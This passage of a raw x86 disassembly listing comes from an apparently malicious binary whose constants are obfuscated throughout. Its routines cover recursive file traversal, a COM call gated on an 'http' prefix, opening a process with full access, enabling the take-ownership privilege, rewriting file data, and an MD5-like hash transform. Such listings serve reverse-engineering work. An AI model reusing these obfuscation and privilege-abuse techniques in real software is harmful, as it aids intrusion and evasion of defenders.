; ---------------------------------------------------------------------------


loc_4409A3:				; CODE XREF: sub_44077A+29Aj
		lea	eax, [ebp+var_13E]
		push	eax
		push	esi
		call	ds:dword_449FC8
		mov	edi, eax
		or	edi, edi
		jnz	short loc_4409D4
		mov	eax, [ebp+var_248]
		add	eax, ds:dword_50E92C
		push	eax
		call	ds:dword_50E924
		pop	ecx
		push	esi
		call	ds:dword_44B5BC
		jmp	short loc_440A16
; ---------------------------------------------------------------------------


loc_4409D4:				; CODE XREF: sub_44077A+23Bj
		cmp	[ebp+var_112], 2Eh
		jz	short loc_440A12
		push	offset dword_551E50
		call	sub_43CAF7
		lea	edx, [ebp+var_112]
		push	edx
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50E928
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_44077A
		add	esp, 20h


loc_440A12:				; CODE XREF: sub_44077A+1ECj
					; sub_44077A+227j ...
		or	edi, edi
		jnz	short loc_4409A3


loc_440A16:				; CODE XREF: sub_44077A+1DFj
					; sub_44077A+258j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44077A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440A1B	proc near		; CODE XREF: sub_43B4E9+3Ap

var_10034	= dword	ptr -10034h
var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10004	= dword	ptr -10004h
var_FFFF	= byte ptr -0FFFFh
var_FFFE	= byte ptr -0FFFEh
var_FFFD	= byte ptr -0FFFDh
var_FFFC	= byte ptr -0FFFCh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10034h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_551220
		add	eax, dword_551100
		sub	eax, 0Bh
		cmp	dword_5512C4, eax
		jnz	short loc_440A55
		mov	eax, dword_5510EC
		add	eax, 9
		cmp	ds:dword_44B5D0, eax
		jb	loc_440CCD


loc_440A55:				; CODE XREF: sub_440A1B+24j
		lea	eax, [ebp+var_10020]
		push	eax
		call	ds:dword_448048
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		movsx	eax, word_551104
		add	eax, dword_5511EC
		sub	eax, 3
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CC224
		mov	edi, eax
		mov	eax, dword_5511D0
		movsx	edx, word_551148
		add	eax, edx
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_440CCD
		mov	esi, [ebp+var_10018]
		mov	eax, dword_5511B4
		sub	eax, 4
		mov	[ebp+var_10008], eax
		lea	eax, [ebp+var_10008]
		push	eax
		push	offset dword_552AA8
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_55120C
		sub	eax, 4
		cmp	edi, eax
		jnz	loc_440CCD
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		mov	eax, dword_5511BC
		movsx	edx, word_551190
		add	eax, edx
		sub	eax, 0Eh
		cmp	edi, eax
		jnz	loc_440CC7
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	[ebp+var_10024]
		call	sub_43DBFE
		add	esp, 8
		mov	edx, eax
		inc	edx
		mov	[ebp+var_10034], edx
		push	[ebp+var_10024]
		call	ds:dword_54FF34
		cmp	[ebp+var_FFFF],	68h
		jnz	short loc_440B5F
		cmp	[ebp+var_FFFE],	74h
		jnz	short loc_440B5F
		cmp	[ebp+var_FFFD],	74h
		jnz	short loc_440B5F
		cmp	[ebp+var_FFFC],	70h
		jz	short loc_440B64


loc_440B5F:				; CODE XREF: sub_440A1B+127j
					; sub_440A1B+130j ...
		jmp	loc_440CC7
; ---------------------------------------------------------------------------


loc_440B64:				; CODE XREF: sub_440A1B+142j
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, dword_5511DC
		add	eax, dword_551234
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_440CC7
		lea	eax, [ebp+var_10004]
		push	eax
		push	offset dword_552A28
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_5510A4
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_440CBB
		lea	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [ebp+var_10004]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		mov	eax, dword_551124
		add	eax, dword_55122C
		sub	eax, 9
		cmp	edi, eax
		jnz	loc_440CAF
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		mov	eax, dword_5510C0
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		cmp	edi, eax
		jz	short loc_440C23
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	loc_440CAF
; ---------------------------------------------------------------------------


loc_440C23:				; CODE XREF: sub_440A1B+1F5j
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_1000C], eax
		jz	short loc_440C36
		xor	ebx, ebx
		inc	ebx


loc_440C36:				; CODE XREF: sub_440A1B+216j
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		or	ebx, ebx
		jnz	short loc_440CAF
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_10004]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		mov	eax, dword_55112C
		movsx	edx, word_551198
		add	eax, edx
		sub	eax, 9
		cmp	edi, eax
		jnz	short loc_440CAF
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	[ebp+var_10008]
		push	[ebp+var_1002C]
		push	[ebp+var_10004]
		call	sub_4424CE
		push	[ebp+var_1002C]
		push	[ebp+var_10004]
		push	esi
		call	sub_44726D
		add	esp, 1Ch


loc_440CAF:				; CODE XREF: sub_440A1B+1CAj
					; sub_440A1B+203j ...
		mov	eax, [ebp+var_10004]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_440CBB:				; CODE XREF: sub_440A1B+19Cj
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_440CC7:				; CODE XREF: sub_440A1B+F0j
					; sub_440A1B:loc_440B5Fj ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_440CCD:				; CODE XREF: sub_440A1B+34j
					; sub_440A1B+86j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440A1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440CD2	proc near		; CODE XREF: sub_446ED7+2E0p

var_68		= dword	ptr -68h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		call	ds:dword_48B9F4
		mov	ebx, eax
		call	sub_44322A
		or	eax, eax
		jnz	short loc_440CFA
		mov	edi, dword_551234
		sub	edi, 7
		jmp	loc_440F05
; ---------------------------------------------------------------------------


loc_440CFA:				; CODE XREF: sub_440CD2+18j
		push	ebx
		movsx	eax, word_55113C
		sub	eax, 9
		push	eax
		push	1F0FFFh
		call	ds:dword_54FF2C
		mov	esi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		push	esi
		call	ds:dword_44B080
		mov	edi, eax
		mov	edx, dword_551124
		add	edx, dword_5511F4
		mov	ecx, dword_5510C0
		sub	ecx, 2
		mov	[ebp+edx*4+var_68], ecx
		mov	eax, dword_5510C0
		sub	eax, 2
		cmp	edi, eax
		jz	loc_440F05
		lea	eax, [ebp+var_40]
		push	eax
		push	28h
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, dword_5511A0
		add	eax, 0Ah
		add	eax, dword_5511EC
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4CE90C
		mov	edi, eax
		cmp	[ebp+arg_0], 0
		jz	short loc_440DCE
		mov	eax, dword_551100
		sub	eax, 9
		cmp	edi, eax
		jnz	short loc_440D8F
		mov	edi, dword_5510AC
		sub	edi, 6
		jmp	loc_440F05
; ---------------------------------------------------------------------------


loc_440D8F:				; CODE XREF: sub_440CD2+ADj
		mov	eax, dword_551120
		mov	edi, eax
		add	edi, dword_551180
		sub	edi, 7
		mov	eax, dword_551214
		movsx	edx, word_551218
		add	eax, edx
		sub	eax, 3
		cmp	[ebp+var_3C], eax
		jz	loc_440F05
		mov	eax, dword_55123C
		mov	edi, eax
		add	edi, dword_5510DC
		sub	edi, 4
		jmp	loc_440F05
; ---------------------------------------------------------------------------


loc_440DCE:				; CODE XREF: sub_440CD2+A1j
		mov	eax, dword_551160
		sub	eax, 7
		cmp	dword_55128C, eax
		jnz	short loc_440DF6
		mov	eax, dword_5511A0
		add	eax, 3FF8h
		push	eax
		push	40h
		call	ds:dword_48B9EC
		mov	dword_55128C, eax


loc_440DF6:				; CODE XREF: sub_440CD2+10Aj
		lea	eax, [ebp+var_40]
		push	eax
		movsx	eax, word_551244
		mov	edx, dword_551100
		lea	eax, [eax+edx+3FF0h]
		push	eax
		push	dword_55128C
		push	1
		push	[ebp+var_4]
		call	ds:dword_4CE90C
		mov	eax, dword_551200
		add	eax, dword_5511B0
		sub	eax, 0Ch
		cmp	dword_551288, eax
		jnz	short loc_440E45
		push	14h
		push	0
		call	ds:dword_48B9EC
		mov	dword_551288, eax


loc_440E45:				; CODE XREF: sub_440CD2+162j
		push	1
		push	dword_551288
		call	ds:dword_449008
		mov	edi, eax
		push	0
		mov	eax, dword_551168
		movsx	edx, word_551208
		add	eax, edx
		sub	eax, 3
		push	eax
		push	1
		push	dword_551288
		call	ds:dword_48C1E4
		mov	edi, eax
		push	0
		mov	eax, dword_55128C
		push	dword ptr [eax]
		push	dword_551288
		call	ds:dword_48B9E8
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSetakeownershi ; "SeTakeOwnershipPrivilege"
		mov	eax, dword_551170
		sub	eax, 4
		push	eax
		call	ds:dword_448020
		mov	edi, eax
		mov	[ebp+var_8], 2
		mov	eax, dword_5511B0
		sub	eax, 7
		cmp	edi, eax
		jz	short loc_440F05
		movsx	eax, word_5511F0
		movsx	edx, word_551148
		add	eax, edx
		sub	eax, 6
		mov	[ebp+var_14], eax
		movsx	eax, word_5510B4
		sub	eax, 5
		push	eax
		movsx	eax, word_551164
		add	eax, dword_5511FC
		dec	eax
		push	eax
		mov	eax, dword_551140
		dec	eax
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	[ebp+var_4]
		call	ds:dword_4CD81C
		mov	edi, eax


loc_440F05:				; CODE XREF: sub_440CD2+23j
					; sub_440CD2+73j ...
		push	esi
		call	ds:dword_4CD948
		push	[ebp+var_4]
		call	ds:dword_4CD948
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440CD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440F1C	proc near		; CODE XREF: sub_43EE88+B1p
					; sub_43EE88+19Fp

var_10038	= dword	ptr -10038h
var_10004	= dword	ptr -10004h
var_FFFF	= byte ptr -0FFFFh
var_FFFB	= byte ptr -0FFFBh
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, dword_4CC440
		cmp	[ebp+arg_4], 43h
		jnz	short loc_440F41
		lea	edi, dword_44B0A0


loc_440F41:				; CODE XREF: sub_440F1C+1Dj
		cmp	[ebp+arg_4], 50h
		jnz	short loc_440F4D
		lea	edi, dword_4CD830


loc_440F4D:				; CODE XREF: sub_440F1C+29j
		mov	eax, dword_5510C8
		dec	eax
		push	eax
		push	80h
		push	3
		mov	eax, dword_5511D8
		movsx	edx, word_551094
		add	eax, edx
		sub	eax, 6
		push	eax
		push	3
		push	0C0000000h
		push	edi
		call	ds:dword_54FB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_44104D
		push	0
		mov	eax, dword_551188
		sub	eax, 5
		push	eax
		push	esi
		push	edi
		call	ds:dword_54FF30
		mov	eax, dword_551214
		add	eax, dword_55117C
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_10004]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	edi
		call	ds:dword_448034
		lea	ecx, [ebp+var_FFFB]
		or	eax, 0FFFFFFFFh


loc_440FCB:				; CODE XREF: sub_440F1C+B4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440FCB
		mov	edx, dword_551154
		add	edx, dword_551178
		sub	edx, 0Ch
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_10004], ebx
		push	0
		movsx	eax, word_5510FC
		add	eax, dword_551188
		sub	eax, 7
		push	eax
		push	esi
		push	edi
		call	ds:dword_54FF30
		mov	esi, dword_5511BC
		add	esi, dword_5511C8
		mov	ebx, [ebp+var_10004]
		mov	[ebp+esi*4+var_10038+1], ebx
		mov	eax, dword_55115C
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_10004]
		push	eax
		mov	eax, dword_5511FC
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	edi
		call	ds:dword_54FF1C
		push	edi
		call	ds:dword_4CD948


loc_44104D:				; CODE XREF: sub_440F1C+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440F1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441052	proc near		; CODE XREF: sub_43D3AD+A8p

var_11C		= dword	ptr -11Ch
var_DC		= dword	ptr -0DCh
var_9C		= dword	ptr -9Ch
var_5C		= dword	ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		mov	edx, [eax+4]
		mov	[ebp+var_8], edx
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		lea	edi, [ebp+var_11C]
		lea	esi, dword_551360
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_5C]
		lea	esi, dword_5513A0
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_9C]
		lea	esi, dword_5513E0
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_DC]
		lea	esi, dword_551420
		mov	ecx, 10h
		rep movsd
		mov	eax, dword_551174
		mov	ebx, eax
		add	ebx, eax
		sub	ebx, 0Eh
		jmp	loc_441206
; ---------------------------------------------------------------------------


loc_4410D5:				; CODE XREF: sub_441052+1C0j
		mov	edi, ebx
		shl	edi, 2
		push	[ebp+edi+var_11C]
		mov	edi, dword_55118C
		add	edi, 6
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_43DA46
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_5511F8
		inc	eax
		cmp	ebx, eax
		jz	short loc_44115A
		mov	edi, ebx
		add	edi, dword_551224
		push	[ebp+edi*4+var_11C]
		movsx	edi, word_551190
		add	edi, dword_5510B0
		dec	edi
		push	edi
		mov	edi, dword_5511F4
		sub	edi, 8
		mov	esi, ebx
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+esi*4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43DA46
		add	esp, 1Ch
		mov	[ebp+var_10], eax


loc_44115A:				; CODE XREF: sub_441052+BEj
		mov	edi, dword_551168
		movsx	esi, word_551148
		add	edi, esi
		dec	edi
		mov	esi, ebx
		add	esi, edi
		push	[ebp+esi*4+var_11C]
		movsx	edi, word_5510D0
		add	edi, 0Bh
		push	edi
		movsx	edi, word_5511CC
		sub	edi, 7
		mov	esi, ebx
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+esi*4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_43DA46
		mov	[ebp+var_4], eax
		movsx	edi, word_551210
		add	edi, dword_5511F8
		sub	edi, 5
		mov	esi, ebx
		add	esi, edi
		push	[ebp+esi*4+var_11C]
		mov	edi, dword_5511BC
		add	edi, 10h
		push	edi
		movsx	edi, word_551198
		add	edi, 2
		mov	esi, ebx
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+esi*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	eax
		push	[ebp+var_8]
		call	sub_43DA46
		add	esp, 38h
		mov	[ebp+var_8], eax
		mov	eax, dword_551160
		add	eax, dword_551154
		sub	eax, 0Bh
		add	ebx, eax


loc_441206:				; CODE XREF: sub_441052+7Ej
		movsx	eax, word_551164
		add	eax, 0Bh
		cmp	ebx, eax
		jbe	loc_4410D5
		mov	eax, dword_551154
		mov	ebx, eax
		add	ebx, dword_55115C
		sub	ebx, 0Bh
		mov	eax, dword_551100
		movsx	edx, word_5510FC
		add	eax, edx
		sub	eax, 0Bh
		mov	[ebp+var_14], eax
		jmp	loc_4413DA
; ---------------------------------------------------------------------------


loc_441241:				; CODE XREF: sub_441052+393j
		mov	edi, [ebp+var_14]
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_551178
		sub	edi, 4
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_43DAED
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_55124C
		sub	eax, 4
		add	ebx, eax
		mov	eax, dword_551204
		add	eax, 0Eh
		cmp	ebx, eax
		jb	short loc_44128F
		mov	eax, dword_5511B4
		add	eax, 0Ch
		sub	ebx, eax


loc_44128F:				; CODE XREF: sub_441052+231j
		mov	edi, [ebp+var_14]
		mov	esi, dword_5510DC
		sub	esi, 3
		add	edi, esi
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_551174
		movsx	esi, word_551240
		add	edi, esi
		sub	edi, 6
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43DAED
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_5510D4
		add	eax, dword_5510E4
		sub	eax, 5
		add	ebx, eax
		mov	eax, dword_5510E4
		add	eax, 4
		add	eax, dword_551174
		cmp	ebx, eax
		jb	short loc_4412FD
		mov	eax, dword_5511B4
		add	eax, 0Ch
		sub	ebx, eax


loc_4412FD:				; CODE XREF: sub_441052+29Fj
		mov	edi, [ebp+var_14]
		movsx	esi, word_551210
		add	esi, dword_551200
		sub	esi, 8
		add	edi, esi
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_55118C
		add	edi, 9
		add	edi, dword_5511E4
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_43DAED
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_551178
		sub	eax, 4
		add	ebx, eax
		mov	eax, dword_551238
		add	eax, 10h
		cmp	ebx, eax
		jb	short loc_441363
		mov	eax, dword_5510D8
		add	eax, 0Ah
		sub	ebx, eax


loc_441363:				; CODE XREF: sub_441052+305j
		mov	edi, [ebp+var_14]
		mov	esi, dword_551200
		sub	esi, 2
		add	edi, esi
		push	[ebp+edi*4+var_5C]
		movsx	edi, word_5510C4
		add	edi, 0Eh
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_43DAED
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		mov	eax, dword_551100
		sub	eax, 4
		add	ebx, eax
		movsx	eax, word_551210
		mov	edx, dword_5511A0
		lea	eax, [eax+edx+3]
		cmp	ebx, eax
		jb	short loc_4413CF
		mov	eax, dword_551170
		add	eax, 8
		movsx	edx, word_551144
		add	eax, edx
		sub	ebx, eax


loc_4413CF:				; CODE XREF: sub_441052+368j
		mov	eax, dword_55118C
		add	eax, 3
		add	[ebp+var_14], eax


loc_4413DA:				; CODE XREF: sub_441052+1EAj
		mov	eax, dword_551224
		add	eax, 0Bh
		cmp	[ebp+var_14], eax
		jbe	loc_441241
		mov	ebx, dword_5510BC
		add	ebx, 5
		movsx	eax, word_551138
		sub	eax, 3
		mov	[ebp+var_18], eax
		jmp	loc_44159F
; ---------------------------------------------------------------------------


loc_441406:				; CODE XREF: sub_441052+55Aj
		mov	edi, [ebp+var_18]
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_5510C8
		add	edi, 3
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_43ED8F
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_5510E0
		sub	eax, 3
		add	ebx, eax
		mov	eax, dword_551114
		add	eax, 0Fh
		cmp	ebx, eax
		jb	short loc_441459
		movsx	eax, word_5510C4
		add	eax, 0Ah
		sub	ebx, eax


loc_441459:				; CODE XREF: sub_441052+3F9j
		mov	edi, [ebp+var_18]
		mov	esi, dword_5510D4
		sub	esi, 4
		add	edi, esi
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_551100
		add	edi, 2
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43ED8F
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		movsx	eax, word_551244
		movsx	edx, word_551104
		add	eax, edx
		sub	eax, 4
		add	ebx, eax
		mov	eax, dword_5510E4
		add	eax, 0Bh
		cmp	ebx, eax
		jb	short loc_4414C6
		mov	eax, dword_55123C
		add	eax, 0Fh
		add	eax, dword_551130
		sub	ebx, eax


loc_4414C6:				; CODE XREF: sub_441052+462j
		mov	edi, [ebp+var_18]
		mov	esi, dword_5511B4
		sub	esi, 2
		add	edi, esi
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_5511E0
		add	edi, 0Ch
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_43ED8F
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_5511C0
		add	eax, 2
		add	ebx, eax
		movsx	eax, word_551144
		add	eax, 0Ch
		cmp	ebx, eax
		jb	short loc_441524
		mov	eax, dword_5511C8
		add	eax, 8
		sub	ebx, eax


loc_441524:				; CODE XREF: sub_441052+4C6j
		mov	edi, [ebp+var_18]
		mov	esi, dword_5511F4
		movsx	edx, word_551208
		add	esi, edx
		sub	esi, 7
		add	edi, esi
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_551158
		add	edi, 12h
		add	edi, dword_551134
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_43ED8F
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		mov	eax, dword_551230
		add	eax, 2
		add	ebx, eax
		mov	eax, dword_5511E0
		add	eax, 0Bh
		add	eax, dword_5510C8
		cmp	ebx, eax
		jb	short loc_441597
		movsx	eax, word_551190
		add	eax, 8
		sub	ebx, eax


loc_441597:				; CODE XREF: sub_441052+537j
		mov	eax, dword_551170
		add	[ebp+var_18], eax


loc_44159F:				; CODE XREF: sub_441052+3AFj
		movsx	eax, word_551138
		add	eax, 9
		cmp	[ebp+var_18], eax
		jbe	loc_441406
		mov	ebx, dword_5510A4
		sub	ebx, 7
		mov	eax, dword_5510E4
		add	eax, dword_551140
		sub	eax, 6
		mov	[ebp+var_1C], eax
		jmp	loc_441798
; ---------------------------------------------------------------------------


loc_4415D1:				; CODE XREF: sub_441052+751j
		mov	edi, [ebp+var_1C]
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_551248
		add	edi, 2
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_43D370
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_5511C0
		add	eax, 6
		add	eax, dword_551238
		add	ebx, eax
		mov	eax, dword_5511C8
		add	eax, 8
		cmp	ebx, eax
		jb	short loc_441628
		mov	eax, dword_5510D8
		add	eax, 0Ah
		sub	ebx, eax


loc_441628:				; CODE XREF: sub_441052+5CAj
		mov	edi, [ebp+var_1C]
		movsx	esi, word_551104
		add	esi, dword_551110
		sub	esi, 8
		add	edi, esi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_551184
		movsx	esi, word_5511A4
		add	edi, esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43D370
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_55114C
		add	eax, 4
		add	eax, dword_551224
		add	ebx, eax
		movsx	eax, word_551194
		mov	edx, dword_5511C8
		lea	eax, [eax+edx+7]
		cmp	ebx, eax
		jb	short loc_4416A9
		movsx	eax, word_551164
		mov	edx, dword_551178
		lea	eax, [eax+edx+6]
		sub	ebx, eax


loc_4416A9:				; CODE XREF: sub_441052+642j
		mov	edi, [ebp+var_1C]
		mov	esi, dword_5510D8
		sub	esi, 4
		add	edi, esi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_5511D8
		add	edi, 6
		add	edi, dword_5510E4
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_43D370
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_551214
		add	eax, 4
		add	ebx, eax
		mov	eax, dword_5511C0
		add	eax, 0Fh
		cmp	ebx, eax
		jb	short loc_441714
		mov	eax, dword_5510E4
		add	eax, 5
		movsx	edx, word_5510C4
		add	eax, edx
		sub	ebx, eax


loc_441714:				; CODE XREF: sub_441052+6ADj
		mov	edi, [ebp+var_1C]
		movsx	esi, word_5510C4
		sub	esi, 3
		add	edi, esi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_55111C
		add	edi, 11h
		add	edi, dword_551168
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_43D370
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		movsx	eax, word_551148
		movsx	edx, word_5510A8
		lea	eax, [eax+edx+6]
		add	ebx, eax
		mov	eax, dword_5511C0
		add	eax, 0Fh
		add	eax, dword_551180
		cmp	ebx, eax
		jb	short loc_441790
		mov	eax, dword_55121C
		add	eax, 9
		movsx	edx, word_551138
		add	eax, edx
		sub	ebx, eax


loc_441790:				; CODE XREF: sub_441052+729j
		mov	eax, dword_55115C
		add	[ebp+var_1C], eax


loc_441798:				; CODE XREF: sub_441052+57Aj
		mov	eax, dword_551154
		add	eax, 4
		cmp	[ebp+var_1C], eax
		jbe	loc_4415D1
		mov	edi, [ebp+arg_0]
		mov	esi, dword_5511F8
		add	esi, dword_5511A0
		mov	ebx, [edi+0Ch]
		add	ebx, [ebp+var_10]
		mov	[edi+esi*4-20h], ebx
		movsx	esi, word_551094
		add	esi, dword_551130
		mov	ebx, [edi]
		add	ebx, [ebp+var_C]
